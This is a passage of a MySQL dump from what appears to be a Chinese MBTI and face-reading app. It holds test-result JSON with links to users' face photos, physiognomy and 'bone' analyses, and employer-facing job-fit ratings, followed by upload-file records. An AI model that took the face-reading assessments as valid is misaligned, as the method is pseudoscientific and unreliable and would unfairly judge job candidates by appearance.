{\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"性格活泼开朗,表达力强,人际感知力高,适应变化能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面部骨肉平衡,五行偏木形,骨肉停匀,适应力强,抗压方式以柔性缓冲为主。\", \"faceAnalysis\": \"额头饱满,眼神灵动,鼻形端正,嘴唇饱满,下巴圆润,耳位正常。总体面相阳光自信,情绪丰富。\", \"personalitySummary\": \"性格外向,具创造力与好奇心,乐于表达,易与人建立良好关系。做事充满热情,喜欢尝试新鲜事物。团队合作时善于沟通,适应力与应变强。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773280177, 1773280177, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (143, 1, 'resume', '{\"hrView\": {\"roleRecommend\": {\"bestFit\": [\"销售与商务拓展\", \"团队管理与激励(项目经理、销售主管、BD Leader等)\", \"客户关系管理与顾问服务\", \"活动策划、品牌公关\"], \"notSuitable\": [\"高重复性、独立性极强的后端执行类(如数据分析、流程型文职、会计专员)\", \"需要高度专注单一任务、个人深入逻辑钻研岗位\"]}}, \"fileUrl\": \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png\", \"version\": 2, \"bossView\": {\"metrics\": [{\"label\": \"岗位匹配度\", \"level\": \"high\", \"value\": \"85%\"}], \"headline\": \"极具影响力的团队激励者与执行推动者,善于跨领域整合资源、激发团队潜能。\"}, \"overview\": \"该候选人具备高度外向、沟通力强和乐观积极的性格底色,兼具行动力与组织力,适应变化能力强,具有自然影响力。性格测试结果一致印证其人际驱动力和行动执行能力。综合性格测评、面相骨骼及工作特质,可判定其在组织激励、人际协调、项目落地与多任务场景中表现突出,适宜领导、销售、商务拓展、项目管理及创新团队核心角色。\", \"portrait\": {\"coreRisks\": [\"注意力分散易影响执行细节\", \"过度乐观导致风险评估不足\", \"对重复性、缺乏人际互动的任务动力不足\"], \"workStyle\": \"以目标为导向,善于自我激励,偏好开放性、多元协作的环境。能够高效组织团队,协调资源并推动项目进展。擅长快速建立关系并激发团队氛围,遇压力时更倾向寻求人际支持与化解矛盾而非正面硬抗。善于多线程并行处理事务,重视创新与挑战。\", \"coreStrengths\": [\"外向热情\", \"沟通能力强\", \"组织与执行力突出\", \"高度适应变化\", \"富有影响力及感染力\"]}, \"resumeHighlights\": \"性格测试高度一致,兼具外向表达(ENFP/孔雀/I型)与组织领导力(ESTJ/虎型/C型),天生具备沟通、影响、团队协调与快速适应变化等能力。易于驱动团队目标落实,善于调动氛围,执行与创新并重。易疏忽细节、风险评估需提升。职业发展建议加强专注力与系统思考能力,实现稳步突破。\"}', NULL, NULL, 0, 1, NULL, NULL, 1773280251, 1773280251, 6, 'enterprise'); -INSERT INTO `mbti_test_results` VALUES (144, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"富有活力与感染力,适应环境强,乐于表达创新思维。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"面中骨肉均匀,偏木形,骨相开阔亲和,侧重柔性与弹性。\", \"faceAnalysis\": \"额头饱满,眼睛有神,鼻翼宽正,嘴型饱满有力,下颌圆润,耳贴头。\", \"personalitySummary\": \"性格热情开朗,情感丰富,富有创意表达,适应力强,善于社交融合团队,执行力佳。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773285873, 1773285873, 6, 'personal'); -INSERT INTO `mbti_test_results` VALUES (145, 1, 'face', '{\"pdp\": {\"primary\": \"孔雀\", \"secondary\": \"\"}, \"disc\": {\"primary\": \"I\", \"secondary\": \"\"}, \"mbti\": {\"type\": \"ENFP\", \"title\": \"竞选者\"}, \"overview\": \"开朗活泼,好奇心强,具备创造力和团队感染力,适应环境能力佳。\", \"photoUrls\": [\"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315631506.55875786.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1531561a0f3.94016134.jpg\", \"https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15315672be1.56231716.jpg\"], \"boneAnalysis\": \"木形,骨肉匀停,骨相灵秀,童年阶段潜质清晰,面部结构均衡。\", \"faceAnalysis\": \"额头宽阔饱满,眼神灵动,鼻子圆润,嘴唇适中,下巴圆厚,双耳对称。\", \"personalitySummary\": \"充满活力,思路开放,善于表达兴趣与情感,乐于与人互动,情绪自调能力佳,适合多元探索、团队合作及体验型成长环境。\"}', NULL, NULL, 0, 0, NULL, NULL, 1773286899, 1773286899, 6, 'enterprise'); - --- ---------------------------- --- Table structure for mbti_upload_files --- ---------------------------- -DROP TABLE IF EXISTS `mbti_upload_files`; -CREATE TABLE `mbti_upload_files` ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', - `path` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '存储路径', - `url` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '访问 URL', - `driver` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'oss' COMMENT '驱动: oss/local', - `hash` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '文件 MD5', - `size` int(11) NULL DEFAULT NULL COMMENT '文件大小(字节)', - `mimeType` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'MIME 类型', - `extension` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '扩展名', - `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', - `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', - PRIMARY KEY (`id`) USING BTREE, - INDEX `idx_driver_hash`(`driver`, `hash`) USING BTREE, - INDEX `idx_createdAt`(`createdAt`) USING BTREE -) ENGINE = InnoDB AUTO_INCREMENT = 124 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '上传文件记录表' ROW_FORMAT = Dynamic; - --- ---------------------------- --- Records of mbti_upload_files --- ---------------------------- -INSERT INTO `mbti_upload_files` VALUES (3, 'mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'https://res.quwanzhi.com/mbti/20260213/img_698ecad0724b69.94186115.jpeg', 'oss', '37913551561757f3c26c515256c3fabb', 4567, 'image/jpeg', 'jpeg', 1770965712, 1770965712); -INSERT INTO `mbti_upload_files` VALUES (4, 'mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ecb5ddd21a5.66702912.jpeg', 'oss', '581fe7ab377843cbe8c6edb5f426e120', 4570, 'image/jpeg', 'jpeg', 1770965854, 1770965854); -INSERT INTO `mbti_upload_files` VALUES (5, 'mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260213/img_698ed0486ea5c6.35014889.jpeg', 'oss', '9a463bb0a7fb80f0254b8a26e39fe410', 4570, 'image/jpeg', 'jpeg', 1770967112, 1770967112); -INSERT INTO `mbti_upload_files` VALUES (7, 'mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260224/img_699d6169ddb7b6.33742752.jpeg', 'oss', '97d8174a96a724338220c08ebe096068', 188330, 'image/jpeg', 'jpeg', 1771921770, 1771921770); -INSERT INTO `mbti_upload_files` VALUES (8, 'mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bb9b58e8.01140699.png', 'oss', 'e7f99df4bcd33d69bdb5ea2613fdcb9b', 121623, 'image/jpeg', 'png', 1772074427, 1772074427); -INSERT INTO `mbti_upload_files` VALUES (9, 'mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bba1fcd1.23709925.jpeg', 'oss', '92e066d336c9a92c6a6485e15372daf6', 753777, 'image/jpeg', 'jpeg', 1772074427, 1772074427); -INSERT INTO `mbti_upload_files` VALUES (10, 'mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260226/img_699fb5bbb93651.77311244.jpeg', 'oss', '5f0eaee6fc3c22e5980627581dfce816', 903689, 'image/jpeg', 'jpeg', 1772074428, 1772074428); -INSERT INTO `mbti_upload_files` VALUES (11, 'mbti/20260228/img_69a288c30b4767.42934501.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c30b4767.42934501.jpg', 'oss', '54303b0c7f5e1fefc0c9b9314303cc5c', 56628, 'image/jpeg', 'jpg', 1772259523, 1772259523); -INSERT INTO `mbti_upload_files` VALUES (12, 'mbti/20260228/img_69a288c316fc40.15562256.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c316fc40.15562256.jpg', 'oss', '83693f93117385e2074f0d41f3427c95', 30089, 'image/jpeg', 'jpg', 1772259523, 1772259523); -INSERT INTO `mbti_upload_files` VALUES (13, 'mbti/20260228/img_69a288c320ed11.93271163.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a288c320ed11.93271163.jpg', 'oss', 'c4797312a2322cea2a2d306c7a24dadd', 37709, 'image/jpeg', 'jpg', 1772259523, 1772259523); -INSERT INTO `mbti_upload_files` VALUES (14, 'mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1e9a9f06.87885663.jpg', 'oss', '3be645054d5143c122856432c967b2c6', 123348, 'image/jpeg', 'jpg', 1772260126, 1772260126); -INSERT INTO `mbti_upload_files` VALUES (15, 'mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb4a4a1.45109265.jpg', 'oss', '89ec46c3d4c3cd47a19414754fcf3225', 133912, 'image/jpeg', 'jpg', 1772260126, 1772260126); -INSERT INTO `mbti_upload_files` VALUES (16, 'mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a28b1eb7f794.01724681.jpg', 'oss', 'a5ae3d7785c5252fdf4ae8fa1b775b01', 134395, 'image/jpeg', 'jpg', 1772260126, 1772260126); -INSERT INTO `mbti_upload_files` VALUES (17, 'mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2990992d5c7.81109795.jpg', 'oss', '27b45c4caed71ea0b16803d2c5bf72b4', 237939, 'image/jpeg', 'jpg', 1772263689, 1772263689); -INSERT INTO `mbti_upload_files` VALUES (18, 'mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ab4a1f8.33085619.jpg', 'oss', '96c4b1821b37fab580fe5f45f57de1dc', 42807, 'image/jpeg', 'jpg', 1772273306, 1772273306); -INSERT INTO `mbti_upload_files` VALUES (19, 'mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9aca18e7.48721788.jpg', 'oss', '7d4fca2c35e83c61833e35be179e7113', 41834, 'image/jpeg', 'jpg', 1772273306, 1772273306); -INSERT INTO `mbti_upload_files` VALUES (20, 'mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260228/img_69a2be9ac90d83.92949209.jpg', 'oss', '3fd2da6514e199297c86ca9f0fb5ce2c', 42092, 'image/jpeg', 'jpg', 1772273306, 1772273306); -INSERT INTO `mbti_upload_files` VALUES (21, 'mbti/20260302/img_69a5027b019460.49988894.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a5027b019460.49988894.png', 'oss', '2bc17026cd7f3f710b5de7748f8f9194', 560, 'image/png', 'png', 1772421755, 1772421755); -INSERT INTO `mbti_upload_files` VALUES (22, 'mbti/20260302/img_69a506f91a7166.23669621.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a7166.23669621.jpg', 'oss', 'af349074364fe14d5bc06ab2de1af1ab', 87871, 'image/jpeg', 'jpg', 1772422905, 1772422905); -INSERT INTO `mbti_upload_files` VALUES (23, 'mbti/20260302/img_69a506f91de049.43887143.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91de049.43887143.jpg', 'oss', 'e5d86eb62820f4021d0023a73e7676e5', 84501, 'image/jpeg', 'jpg', 1772422905, 1772422905); -INSERT INTO `mbti_upload_files` VALUES (24, 'mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a506f91a3b45.19754294.jpg', 'oss', '9bf66bf414cfa6749017c63720a76ec4', 79820, 'image/jpeg', 'jpg', 1772422905, 1772422905); -INSERT INTO `mbti_upload_files` VALUES (25, 'mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260302/img_69a51b2d7ce365.67901942.jpg', 'oss', '326045712ac33916089e8ef0bafcd003', 21005, 'image/jpeg', 'jpg', 1772428077, 1772428077); -INSERT INTO `mbti_upload_files` VALUES (26, 'mbti/20260303/img_69a6844f999b87.63229945.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png', 'oss', 'e9c53355b41ca176a6e59dd51a5c78ec', 98521, 'image/jpeg', 'png', 1772520528, 1772520528); -INSERT INTO `mbti_upload_files` VALUES (27, 'mbti/20260303/img_69a6844f943017.17894021.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg', 'oss', 'c35fb9d393b36f1183a6feff7924059a', 165765, 'image/jpeg', 'jpg', 1772520528, 1772520528); -INSERT INTO `mbti_upload_files` VALUES (28, 'mbti/20260303/img_69a6844f95c675.65376842.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png', 'oss', '5eb86c160a190bc4ac76dfb7254caaba', 100588, 'image/jpeg', 'png', 1772520528, 1772520528); -INSERT INTO `mbti_upload_files` VALUES (29, 'mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'oss', '832d10dd83b4e3cde3c16a58ba3b48ac', 4278, 'image/jpeg', 'jpg', 1772535605, 1772535605); -INSERT INTO `mbti_upload_files` VALUES (30, 'mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'oss', '3b9c6fd5cbc9ffa5d27d1fcc63f2529b', 105212, 'image/jpeg', 'jpg', 1772535654, 1772535654); -INSERT INTO `mbti_upload_files` VALUES (31, 'mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'oss', 'f62c11ee04ee8b7c45d338d65440828f', 106974, 'image/jpeg', 'jpg', 1772535654, 1772535654); -INSERT INTO `mbti_upload_files` VALUES (32, 'mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'oss', 'c4b7862fba01e7572a9fbb692ca93ac2', 108085, 'image/jpeg', 'jpg', 1772535654, 1772535654); -INSERT INTO `mbti_upload_files` VALUES (33, 'mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'oss', '66ae33cc7beedade807e560ab0758a77', 130819, 'image/jpeg', 'jpg', 1772535706, 1772535706); -INSERT INTO `mbti_upload_files` VALUES (34, 'mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'oss', 'bd3516219793e724bcef670d0c75a397', 129203, 'image/jpeg', 'jpg', 1772535706, 1772535706); -INSERT INTO `mbti_upload_files` VALUES (35, 'mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'oss', 'dabdd1d6da43c1f28d2763e5d88eb616', 122807, 'image/jpeg', 'jpg', 1772535706, 1772535706); -INSERT INTO `mbti_upload_files` VALUES (36, 'mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'oss', 'c8364605bd9ab6e7bccd25be9c88dd40', 109690, 'image/jpeg', 'jpg', 1772535762, 1772535762); -INSERT INTO `mbti_upload_files` VALUES (37, 'mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'oss', '1a8f71164cf6355088eac5fe51a43332', 115557, 'image/jpeg', 'jpg', 1772535762, 1772535762); -INSERT INTO `mbti_upload_files` VALUES (38, 'mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'oss', 'b1618aee81a107a2446367486e7b15fb', 120923, 'image/jpeg', 'jpg', 1772535764, 1772535764); -INSERT INTO `mbti_upload_files` VALUES (39, 'mbti/20260304/img_69a7d993a31264.28523714.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png', 'oss', '7a238a038da6d5130c5a71c92aa51776', 59139, 'image/png', 'png', 1772607891, 1772607891); -INSERT INTO `mbti_upload_files` VALUES (40, 'mbti/20260304/img_69a7ee569a56a7.90410485.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7ee569a56a7.90410485.png', 'oss', 'd9678bc69b24ea37b6c88ad83dc9ec8a', 58195, 'image/png', 'png', 1772613206, 1772613206); -INSERT INTO `mbti_upload_files` VALUES (41, 'mbti/20260304/img_69a7f4bb529f73.42463703.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7f4bb529f73.42463703.png', 'oss', '20e4e82888525a3ec090187cb416e17b', 54753, 'image/png', 'png', 1772614843, 1772614843); -INSERT INTO `mbti_upload_files` VALUES (42, 'mbti/20260305/img_69a92fe4320f98.44874477.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a92fe4320f98.44874477.png', 'oss', '2be5305fef3d4f09ae494774eaa7f158', 176555, 'image/png', 'png', 1772695524, 1772695524); -INSERT INTO `mbti_upload_files` VALUES (43, 'mbti/20260305/img_69a93009e76ba4.00229379.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a93009e76ba4.00229379.png', 'oss', '7c45fe7e65fd901be08390d0467780bc', 1020534, 'image/png', 'png', 1772695562, 1772695562); -INSERT INTO `mbti_upload_files` VALUES (44, 'mbti/20260310/img_69af801d8441f3.91458120.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png', 'oss', 'f5e623af3f383d66ba8c2d71d7ee8514', 392310, 'image/png', 'png', 1773109278, 1773109278); -INSERT INTO `mbti_upload_files` VALUES (45, 'mbti/20260310/img_69afc570e96293.69974803.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e96293.69974803.jpg', 'oss', '20b939f680d6bf3154d0344cd64f77bb', 197820, 'image/jpeg', 'jpg', 1773127025, 1773127025); -INSERT INTO `mbti_upload_files` VALUES (46, 'mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'oss', 'e4c32699227a63a2965ad919266dc260', 203490, 'image/jpeg', 'jpg', 1773127025, 1773127025); -INSERT INTO `mbti_upload_files` VALUES (47, 'mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'oss', '3c1c899e7a604d4eb5c2ee15eeb301fd', 203421, 'image/jpeg', 'jpg', 1773127025, 1773127025); -INSERT INTO `mbti_upload_files` VALUES (48, 'mbti/20260310/img_69afc606a57237.43033150.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg', 'oss', '4be1aa248ced86f591bb060f355fbd51', 267603, 'image/jpeg', 'jpg', 1773127174, 1773127174); -INSERT INTO `mbti_upload_files` VALUES (49, 'mbti/20260310/img_69afc606bdb774.70305849.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg', 'oss', '234b04c50567e049306ce16abd48c73d', 266973, 'image/jpeg', 'jpg', 1773127175, 1773127175); -INSERT INTO `mbti_upload_files` VALUES (50, 'mbti/20260310/img_69afc606dde213.19573884.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg', 'oss', 'e029e630cfda7d25052c76c5ad9736fd', 267240, 'image/jpeg', 'jpg', 1773127176, 1773127176); -INSERT INTO `mbti_upload_files` VALUES (51, 'mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'oss', '1a3fcc3231fd1caad238d251952c65d5', 96512, 'image/jpeg', 'jpg', 1773127676, 1773127676); -INSERT INTO `mbti_upload_files` VALUES (52, 'mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'oss', '810969db03135c061f2c757a4aaee4cf', 3739, 'image/jpeg', 'jpeg', 1773127886, 1773127886); -INSERT INTO `mbti_upload_files` VALUES (53, 'mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'oss', '5b024629ed8b57c01a8ed60345e517bb', 251545, 'image/jpeg', 'jpg', 1773130620, 1773130620); -INSERT INTO `mbti_upload_files` VALUES (54, 'mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'oss', 'f31aae364ba9b2a8d021a53a32125d07', 265650, 'image/jpeg', 'jpg', 1773130620, 1773130620); -INSERT INTO `mbti_upload_files` VALUES (55, 'mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'oss', '3af1ed5cb4d9b56fa94d8c232de1d2e5', 249447, 'image/jpeg', 'jpg', 1773130621, 1773130621); -INSERT INTO `mbti_upload_files` VALUES (56, 'mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'oss', '6344cf4169a1b8b922b50ff6ed5a6af3', 108930, 'image/jpeg', 'jpg', 1773133582, 1773133582); -INSERT INTO `mbti_upload_files` VALUES (57, 'mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'oss', '563e035636b21df3d70f2c7c5a67ef82', 260914, 'image/jpeg', 'jpg', 1773133582, 1773133582); -INSERT INTO `mbti_upload_files` VALUES (58, 'mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'oss', 'b282006653e3049c61d5e8d7c75d0224', 241849, 'image/jpeg', 'jpg', 1773133582, 1773133582); -INSERT INTO `mbti_upload_files` VALUES (59, 'mbti/20260310/img_69afede13bda54.82616891.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg', 'oss', '3e37bc6c5c1f906b5a71e66e623d7bb1', 39009, 'image/jpeg', 'jpg', 1773137377, 1773137377); -INSERT INTO `mbti_upload_files` VALUES (60, 'mbti/20260310/img_69afede1498fb4.13618523.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg', 'oss', '4b2899e0d705037dea5bccc3095c100e', 41406, 'image/jpeg', 'jpg', 1773137377, 1773137377); -INSERT INTO `mbti_upload_files` VALUES (61, 'mbti/20260310/img_69afede146fe35.05214291.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg', 'oss', '4ecc5969a624b2fedf1735508cb9927d', 34525, 'image/jpeg', 'jpg', 1773137377, 1773137377); -INSERT INTO `mbti_upload_files` VALUES (62, 'mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'oss', '329f969ee25c319e364651dbfb3ebb10', 38585, 'image/jpeg', 'jpg', 1773137415, 1773137415); -INSERT INTO `mbti_upload_files` VALUES (63, 'mbti/20260310/img_69afee07df7c91.55175853.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg', 'oss', '10c2ffac870a37534aaa70726e833c4b', 40416, 'image/jpeg', 'jpg', 1773137415, 1773137415); -INSERT INTO `mbti_upload_files` VALUES (64, 'mbti/20260310/img_69afee07d96652.90735834.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg', 'oss', '1e126a209f9151b79f51cc2ff514b2b6', 36305, 'image/jpeg', 'jpg', 1773137416, 1773137416); -INSERT INTO `mbti_upload_files` VALUES (65, 'mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'oss', '395eebe591cf2c31b245cde43c083017', 140002, 'image/jpeg', 'jfif', 1773216290, 1773216290); -INSERT INTO `mbti_upload_files` VALUES (66, 'mbti/20260311/img_69b122215f6c00.42725600.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif', 'oss', 'b44035a5c43461e55478617b4dfb8f24', 147500, 'image/jpeg', 'jfif', 1773216292, 1773216292); -INSERT INTO `mbti_upload_files` VALUES (67, 'mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'oss', '930bb139f81eb4602e8277503f85dc19', 159211, 'image/jpeg', 'jfif', 1773216293, 1773216293); -INSERT INTO `mbti_upload_files` VALUES (68, 'mbti/20260311/img_69b1229473c992.26199330.jfif', 